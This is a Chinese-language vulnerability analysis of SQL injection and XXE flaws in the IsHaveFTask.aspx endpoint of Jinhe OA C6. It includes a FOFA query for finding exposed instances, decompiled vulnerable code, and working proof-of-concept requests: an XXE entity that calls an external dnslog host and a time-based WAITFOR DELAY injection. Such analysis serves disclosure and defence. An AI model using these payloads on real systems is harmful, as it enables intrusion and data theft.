漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 IsHaveFTask.aspx 接口处存在SQL注入漏洞、XXE漏洞，攻击者可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，还可以通过XXE漏洞读取服务器上敏感文件或探测内网服务信息，甚至在高权限的SQL注入情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 IsHaveFTask.aspx 的实现

<%@ Page language="c#" Codebehind="IsHaveFTask.aspx.cs" AutoEventWireup="True" Inherits="JHSoft.Web.DailyTaskManage.IsHaveFTask" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > 

<html>
  <head>
    <title>IsHaveFTask</title>
    <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
    <meta name="CODE_LANGUAGE" Content="C#">
    <meta name=vs_defaultClientScript content="JavaScript">
    <meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
  </head>
  <body>  
    <form id="Form1" method="post" runat="server">
    </form>
  </body>
</html>

在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 IsHaveFTask 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.XmlDoc.Load(this.Request.InputStream);
  this.IsHaveFatherTask(this.XmlDoc.SelectSingleNode("//root//Task//TaskIDList").InnerText);
}

protected virtual void OnInit(EventArgs e)
{
  this.InitializeComponent();
  base.OnInit(e);
}

private void InitializeComponent()
{
}

private void IsHaveFatherTask(string strPara)
{
  DailyTManage dailyTmanage = new DailyTManage();
  string empty = string.Empty;
  this.Response.Write(!dailyTmanage.IsHaveFTask(strPara) ? "0" : "1");
  this.Response.End();
}

请求内容直接使 xmlDocument.Load 加载处理，造成XXE漏洞。

再跟进 DailyTManage 的 IsHaveFTask 方法，其实现如下

public bool IsHaveFTask(string strPara)
{
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  string str = $"SELECT COUNT(TaskID) FROM TaskManage WHERE TaskFatherID IN ({strPara})";
  DataTable dataTable = dbOperator.ExecSQLReDataTable(str);
  bool flag = dbOperator.IsError || Convert.ToInt32(dataTable.Rows[0][0]) != 0;
  ((MarshalByValueComponent) dataTable)?.Dispose();
  return flag;
}

参数 TaskIDList 被直接拼接进 ExecSQLReDataTable SQL语句中执行，无任何过滤或校验，导致SQL注入漏洞。

漏洞复现

XXE

POST /c6/Jhsoft.Web.dailytaskmanage/IsHaveFTask.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.1g1p3l0f.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到请求

SQL注入

POST /c6/Jhsoft.Web.dailytaskmanage/IsHaveFTask.aspx/ HTTP/1.1
Content-Type: application/xml
Host: jhsoft.mrxn.net

<root>
  <Task>
    <TaskIDList>3);WAITFOR DELAY'0:0:5'-- </TaskIDList>
  </Task>
</root>

成功延时 5 秒